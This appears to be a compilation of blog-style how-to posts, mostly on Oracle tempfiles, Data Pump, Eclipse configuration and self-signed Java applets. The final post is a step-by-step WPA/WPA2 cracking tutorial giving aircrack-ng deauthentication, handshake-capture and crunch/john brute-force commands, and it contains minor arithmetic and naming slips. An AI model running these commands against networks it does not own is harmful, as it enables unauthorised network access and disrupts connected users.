ORA-25152: TEMPFILE cannot be dropped at this time

The temporary tablespace can have more than one tempfile. You can drop the tempfile by running the following command:

Advice: You should do this when no user is using the database.

Oracle 9i R2 and above:

alter database tempfile 'd:\oracle\oradata\sid\temp04.dbf' drop including datafiles;

Oracle 10g R2 and above:

alter tablespace temp drop tempfile 'd:\oracle\oradata\sid\temp04.dbf';

The commands above are usually successful if there is no active session using the tempfile. The tempfile do not need to be in OFFLINE status in order for it to be dropped. However, you can bring it OFFLINE first before dropping with the following command:

alter database tempfile 'd:\oracle\oradata\sid\temp04.dbf' offline;

A tempfile cannot be dropped is usually caused by active sessions.

If you receive error such as below, try to kill the active session:

ORA-25152: TEMPFILE cannot be dropped at this time

Find out the active session:

SQL> SELECT s.sid, s.username, s.status, u.tablespace, u.segfile#, u.contents, u.extents, u.blocks
  2  FROM v$session s, v$sort_usage u
  3  WHERE s.saddr=u.session_addr
  4  ORDER BY u.tablespace, u.segfile#, u.segblk#, u.blocks;

       SID USERNAME   STATUS   TABLESPACE  SEGFILE#  CONTENTS  EXTENTS BLOCKS
---------- ---------- -------  ----------- --------- --------  ------- ------
       213 DBUSER1    INACTIVE TEMP        203       TEMPORARY 5279    675712


SQL> select sid,serial# from v$session where sid = 213;

       SID    SERIAL#
---------- ----------

       213      48649

Kill the session:

SQL> alter system kill session '213,48649';

System altered.

Retry drop the tempfile:

SQL> alter database tempfile 'd:\oracle\oradata\oradb\temp04.dbf' drop including datafiles;


Database altered.

If the command above is successful, but the physical tempfile is not deleted. You might have to restart the database and delete the physical file at OS level.

Multiple Eclipse Installations in a Single User Environment

Cascaded and Shared Configuration

It is possible to install multiple copies of Eclipse in the same computer. Each copy of Eclipse might work on different development projects and share common plugins as well as having plugins of their own. This kind of setup works well if all copies of Eclipse have similar and compatible versions. If the Eclipse installs are different versions, you may experience problems. For example, it is not advisable to setup shared configuration if you have one instance of Eclipse Kepler to work on JBoss related projects, and another instance of Eclipse Mars to work on Birt report related projects.

If your Eclipse versions are compatible, you can setup each copy for shared configuration by editing the eclipse.ini file as follow:

Add these lines after the -vmargs line:

-Dosgi.configuration.cascaded=true
-Dosgi.configuration.area=@user.dir/configuration
-Dosgi.sharedConfiguration.area=@user.home/.eclipse/configuration
-Dosgi.sharedConfiguration.area.readOnly=false
-Dosgi.install.area.readOnly=true

Standalone Configurations

While having a shared configuration setup on a particular Eclipse version, you may setup an instance of Eclipse of different version with standalone configuration. By default, Eclipse are shipped with standalone configuration.

Updates of plugins in standalone Eclipse does not affect the updates of a shared configuration and vice versa.

Standalone Eclipse installation is straightforward. i.e. After the Eclipse package zip file had been downloaded, unzip it to your desired install drive and directory. That's it. You might want to rename the Eclipse home folder.

The following is the default setup environment:

-Dosgi.configuration.area=@user.dir/configuration

Common Mistake

Note: Never unzip one version of Eclipse over another version of Eclipse on the same directory.

Oracle Data Pump Export / Import Multiple Dump Files

Usually, we choose to export the database into multiple dump files rather than a single dump file is because there are hardware limitations such as hard disk space constraints and limited network bandwidth when moving the dump files to a different backup locations.

This will not delve into multiple dump files in different locations due to disk space constraints. Basically, I cover only multiple dump files in the same location for easy copying over a limited network bandwidth.

Even though it is possible to configure a network drive location in Oracle and export straight to that location, it is highly not recommended because it places a huge amount of stress on Oracle itself. It is best to export the dump files to a local drive and let the file transfer over the network handled by the operating system.

In order to export a schema and split the dump file into smaller size files, we specify the filesize parameter:

Syntax:

expdp 'sys/pwd as sysdba' directory=dumpdir dumpfile=mydump-%u.dmp filesize=500M logfile=mydump.log schemas=schema1,schema2

%u is the substitution variable for the number of dump files generated. Large file transfer over the network could use up a lot of RAM and might cause the system to hang.

Importing the dump files is straight forward as follow:

impdp 'sys/pwd as sysdba' directory=dumpdir dumpfile=mydump-%u.dmp logfile=imp.log remap_schema=schema1:newschema1,schema2:newschema2

The remap_schema parameter is optional and can be omitted if you are importing back to the same schema. You do not need to pre-create the schema (db user) if it does not already exist, though you could. If a schema is remapped to a different name that does not already exist, the password (db user password) remains the same as the original schema.

If the original schema is assigned to a different tablespace, the import syntax above does not create the tablespace. Instead, the schema will be created on the default tablespace, USERS. If you need the schema to use a different tablespace, you must pre-create the schema before importing.

Reducing the Temporary Tablespace Size in Oracle 11g

The TEMP tablespace is used when there is a large quantity of sort operations cannot be handled in RAM. It could grow to a very large size if many such database queries are executed at the same time, where a large temporary tablespace is required. Those queries might be badly written or require optimization.

A sustainable long-term solution is to optimize or rewrite the badly written SQL queries.

Meanwhile, if you must free some hardisk space right now, the following is how you should shrink the TEMP tablespace.

Firstly, have a view of the TEMP tablespace usage (numbers are in bytes):

SELECT * FROM DBA_TEMP_FREE_SPACE;

Then, you can decide to shrink the TEMP tablespace online:

ALTER TABLESPACE TEMP SHRINK SPACE KEEP 10G;

You might want to shrink a specific tempfile using the TEMPFILE clause:

ALTER TABLESPACE temp SHRINK TEMPFILE '/u01/app/oracle/oradata/DB11G/temp01.dbf' KEEP 30M;

Note:

You might want to do the shrinking during off peak hours as the TEMP could be busy during the peak hours.

Eclipse: AERI failed with an error

This is not a serious error. I'd say you can ignore it. However, if it bothers you, please try the following:

Steps that reproduce the Symptom:

- Import an existing project (from the worksapce of another copy of Eclipse), with "copy project into workspace" selected.
- Clean and rebuild the project
- Close the project
- Exit and restart eclipse

The following error (warning) is displayed on the Error tab:

AERI failed with an error. Please report this error: null ; version: 1.100.0.v20160211-1103

java.lang.NullPointerException
at org.eclipse.e4.core.internal.di.InjectorImpl.invoke(InjectorImpl.java:217)
at org.eclipse.e4.core.contexts.ContextInjectionFactory.invoke(ContextInjectionFactory.java:90)
at org.eclipse.epp.logging.aeri.core.SystemControl.executeHandler(SystemControl.java:103)
at org.eclipse.epp.logging.aeri.core.SystemControl.isActive(SystemControl.java:65)
at org.eclipse.epp.logging.aeri.core.util.LogListener.logging(LogListener.java:45)
at org.eclipse.core.internal.runtime.RuntimeLog.logToListeners(RuntimeLog.java:161)
at org.eclipse.core.internal.runtime.PlatformLogWriter.logged(PlatformLogWriter.java:103)
at org.eclipse.osgi.internal.log.ExtendedLogReaderServiceFactory.safeLogged(ExtendedLogReaderServiceFactory.java:88)
at org.eclipse.osgi.internal.log.ExtendedLogReaderServiceFactory.logPrivileged(ExtendedLogReaderServiceFactory.java:217)
at org.eclipse.osgi.internal.log.ExtendedLogReaderServiceFactory.log(ExtendedLogReaderServiceFactory.java:189)
at org.eclipse.osgi.internal.log.ExtendedLogServiceFactory.log(ExtendedLogServiceFactory.java:65)
at org.eclipse.osgi.internal.log.ExtendedLogServiceImpl.log(ExtendedLogServiceImpl.java:87)
at org.eclipse.osgi.internal.log.LoggerImpl.log(LoggerImpl.java:54)
at org.eclipse.core.internal.runtime.Log.log(Log.java:65)
..
..
at org.eclipse.core.internal.runtime.PlatformLogWriter.logging(PlatformLogWriter.java:44)
at org.eclipse.core.internal.runtime.RuntimeLog.log(RuntimeLog.java:97)
at org.eclipse.core.internal.jobs.JobManager.endJob(JobManager.java:701)
at org.eclipse.core.internal.jobs.WorkerPool.endJob(WorkerPool.java:105)

at org.eclipse.core.internal.jobs.Worker.run(Worker.java:72)

Causes:

Most likely because the build path environments are not properly bound during import. The system environment settings such as JRE and JBoss Server of both Eclipse are configure with the exact same names. The project uses these environments when it is compiled. In fact, the compile is successful without error, but after compile and close the project, it complains the project is not open. When Eclipse is closed and it tries to save project preferences, a warning (error) is recorded.

Solution:

Remove all build path environments for the project. Add all dependencies one by one from scratch.

Allowing (Unblock) Self-signed Java Applet in Java 7 Update 51 and Later

Java Security

Starting from Java 7 Update 51, Java does not allow users to run applications that are not signed (unsigned), self-signed (not signed by trusted authority) or that are missing permission attributes. This is a good security feature.

The older Java (1.4 to 1.6) are able to run unsigned applet without any prompt. However for self-signed applets, a prompt is displayed and you must explicitly tell the Java runtime that you trust the applet.

Whether it is required to add the website address to the Trusted Site zone depends the IE version. For IE10 and above, you must add the website IP address to the Trusted Site zone for a signed applet to run without hiccups.

Applet for Internal Usage (Intranet)

On the other hand, if you have developed an application for internal use, it is not worth the effort and cost to purchase a verified certificate by a trusted authority since the users can trust you and that your application is not going to perform anything malicious.

The following article illustrates how you can create a self-signed certificate and install in the users' machine so that their browsers do not complain that your java applet has been blocked, or that the applet poses security risks every time the user accesses the page.

Java Security Default Behaviour (Java 1.7 Update 51 onwards)

By default, the following dialog is displayed when an unsigned applet is accessed.

Exception Site List

Nevertheless, you can still allow an unsigned applet to be executed by adding a URL to the Exception Site List.

However, the browser will still nag at the user every time the user brings up the page.

This security feature may seem like a nuisance for those who know the apps can be trusted as it was developed by their own developer. Because the applet is not signed, so it keeps nagging. Therefore, the developer could self-sign the applet, create a self-signed certificate, and then distribute and install the certificate on the users' computer.

Java Certificate Repository (use Signer CA for self-signed certs)

Do not confuse yourselves with Microsoft Windows Certificate because this is the Java Certificate which is stored in a different repository from the Windows certificate repository.

The Java Certificate repository is located at:

C:\Users\<user name>\AppData\LocalLow\Sun\Java\Deployment\security\trusted.certs

for certificates verified by a Trusted Authority

and

C:\Users\<user name>\AppData\LocalLow\Sun\Java\Deployment\security\trusted.cacerts

for self-signed certificates (Signer CA, Signer Certificate Authority, where the signer is the authority)

If you import the self-signed certificate into trusted.certs, it is ignored and the applet will still be blocked.

Permission Attributes

You may remove the URL from the Exception Site List if the signed jar manifest contains the appropriate permission attributes. If the permission attributes is not set, and the URL is removed from the Exception Site List, the self-signed applet will be blocked as follow even after the cert is imported into the Signer CA repository.

Therefore, set the jar manifest appropriately as follow with ant build tool,

    <jar destfile="applet/Abc.jar">
      <manifest>
        <attribute name="Permissions" value="all-permissions"/>
      </manifest>
     ...
     ...
    </jar>

Before Signing the Applet JAR

Generate a key pair in the Java key store so that this security key pair can be used to sign the applet as well as create a public certificate to be distributed.

Generate Key Pair

C:\Users\<user-name>\AppData\LocalLow\Sun\Java\Deployment\security>keytool -genkeypair -alias Aliasname -keyalg DSA -keysize 1024 -dname "CN=PublisherName, OU=LineOfBusiness, O=CompanyName, C=Country" -keypass keypwd -storepass storepwd -validity NoOfDaysToExpire

This will create a file named .keystore in the Users\<user-name> folder. After this file has been created, you may sign the applet Jar and create (export) a public certificate file.

Create Self-signed Public Certificate File

C:\Users\<user-name>\AppData\LocalLow\Sun\Java\Deployment\security>keytool -exportcert -storepass storepwd -alias Aliasname -file mycert.csr

Certificate stored in file <mycert.csr>

Copy this file to the client computers, then import it into the Java Signer CA repository.

Import Certificate into Signer CA Repository of Client Machine

C:\Users\<user-name>\AppData\LocalLow\Sun\Java\Deployment\security>keytool -importcert -keystore c:\users\<user-name>\appdata\locallow\sun\java\deployment\security\trusted.cacerts -storepass ""  -alias Aliasname -file mycert.csr
Owner: CN=PublisherName, OU=LineOfBusiness, O=CompanyName, C=Country
Issuer: CN=PublisherName, OU=LineOfBusiness, O=CompanyName, C=Country
Serial number: 56c2a5d8
Valid from: Tue Feb 16 12:30:16 SGT 2016 until: Fri Feb 13 12:30:16 SGT 2026
Certificate fingerprints:
         MD5:  29:4F:49:3B:5D:44:4D:D4:11:BA:EB:0E:F7:9A:63:76
         SHA1: 67:6A:B8:68:0F:C2:19:DD:CE:F4:C8:C0:46:C4:13:D5:AF:85:39:21
         Signature algorithm name: SHA1withDSA
         Version: 3
Trust this certificate? [no]:  yes

Certificate was added to keystore

 Run Applet First Time

Once it is approved (check "do not show this again"), it will not prompt again.

That's it.

Brute Force a WPA / WPA2 Wireless Network with Aircrack

Note:

This article is written for educational purposes only. It is illegal to hack a network that does not belong to you. You may get yourself in trouble, say, if the network you are trying to get into, logs packet injections from your machine, the digital signatures you left behind is the traceability lead. Therefore, please do not commit crime.

This test was done on Kali Linux, on VMPlayer. The method described in this article cannot hack a WPA / WPA2 wireless network if there is no client connected. Also, it is difficult to obtain a handshake if the client signal is very weak.

Step 1: Check Your Wireless Adapter

root@kali:~/test# airmon-ng

This command lists your wireless adapter, if you have one. On a virtual machine, you may experience that the wireless adapter cannot be detected. In this case please read how-to-put-wireless-adapter-in-monitor

Step 2: Check for conflicting processes that get in the way

You need to kill those processes because they will cause trouble when you run aireplay-ng, i.e. you may not be able to capture a handshake.

root@kali:~/test# airmon-ng check

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e 

PID Name

3179 dhclient

3260 NetworkManager

Step 3: Kill these processes

airmon-ng check kill

Step 4: Put your wireless adapter in monitor mode

airmon-ng start wlan0

Step 5: Pre-scan Available Wireless Network

airodump-ng mon0

This displays a list of wireless networks with some details such as signal strength, channel number, AP mac, network name, connected clients mac addresses, etc.

Jot down the channel and mac address of the network you intend to crack. After that, you can exit by pressing Ctrl-C or q.

Step 5: Monitor and capture Network Packet and Handshake to a File

airodump-ng -c 11 -w captured --bssid <AP mac address> mon0

This will monitor and wait for handshake. The channel is 11 but yours may be different. File prefix is "captured". Just leave it running and do not exit, yet.

Step 6: Injecting Network Packets to Force the Client to Re-Associate with the AP

Open a new terminal and run the command:

aireplay-ng -0 10 -a <AP mac address> mon0

Attack mode -0 is specified for WPA / WPA2 (-1 is only good for WEP). Run this command and take note of handshake signal captured on the other terminal where airodump-ng was executed. Rest for a few seconds in between each attack, until a handshake is captured, then stop both aireplay-ng and airodump-ng (on the other terminal).

This attacks attempt to kick the connected client out. When the AP tries to reconnect with the client, your machine will have the chance to get a handshake, which contains a public key and private key signatures that allow the password to be cracked.

The handshake is captured in a file you specified in airodump-ng, i.e. -w captured. So, the file is "captured-01.cap" if Step 5 is run for the first time. If airodump-ng had exited and run for the 2nd time, the file is "captured-02.cap", so on and so forth. Take note of the file name that contain the handshake.

In the occasion where the client signal is weak, it may be easier by specifying the cilent MAC address:

aireplay-ng -0 10 -a <AP MAC address> -c <client MAC address> mon0

Step 7: Crack the Password

You can do this step on another day without the need to be around the targeted AP network. Notice if the password is long enough, it is very difficult to crack. The following are the reasons why.

Calculating how long you need to run all password combinations by brute force:

Depending on your CPU power, the number of password tests per second varies. If the password has 8 alpha-numeric character combinations, there are 36 possible characters that can fill each character, that makes it 38^8 number of combinations. i.e. 2821109907000 possible combinations! If the CPU power is 1000 passwords per second, you need 89.4 years to completely brute force all passwords!

Therefore, it is encourage to use long passwords and make use of lower case, upper case, numerics, or even symbols such as +, -, %, etc in your password. A 16 character password with lower and upper case, and numerics combinations has a total of 62^16 = 4.77x10^28 combinations. Even with a CPU power of 1 billion passwords per second, you will need 1.5 trillion years to brute force all passwords!

Therefore, the use of a good password list may crack faster, as people tends to be negligent and assigned password that is easy to remember.

Anyways, these are the commands that are commonly used:

By password list:

aircrack-ng -w /mydir/wordlist captured-01.cap

The ability to crack is as good as the quality of the wordlist.

By word crunching:

crunch 6 8 0123pasword | aircrack-ng -a 2 captured-01.cap -e <AP network name> -b <AP mac address> -w -

The AP mac address can be omitted. The crunch command generates passwords combination from 6 to 8 characters using the characters specified "0123pasword". In this case there are a total of 11^6+11^7+11^8 = 235617613 combinations. Need 2.7 days to test all passwords for a 1000 words/sec CPU power.

Word crunching is used if you know some of the characters that are used in the passwords.

man crunch for more options.

By brute force using john the ripper and remember the session:

john --incremental=all --session=MyBruteSession --stdout | aircrack-ng -a 2 -e <AP network name> captured-01.cap -w -

To restore previous session and continue with the last tested password:

john --restore=MyBruteForce | aircrack-ng -a 2 -e <AP network name> captured-01.cap -w -

That's it.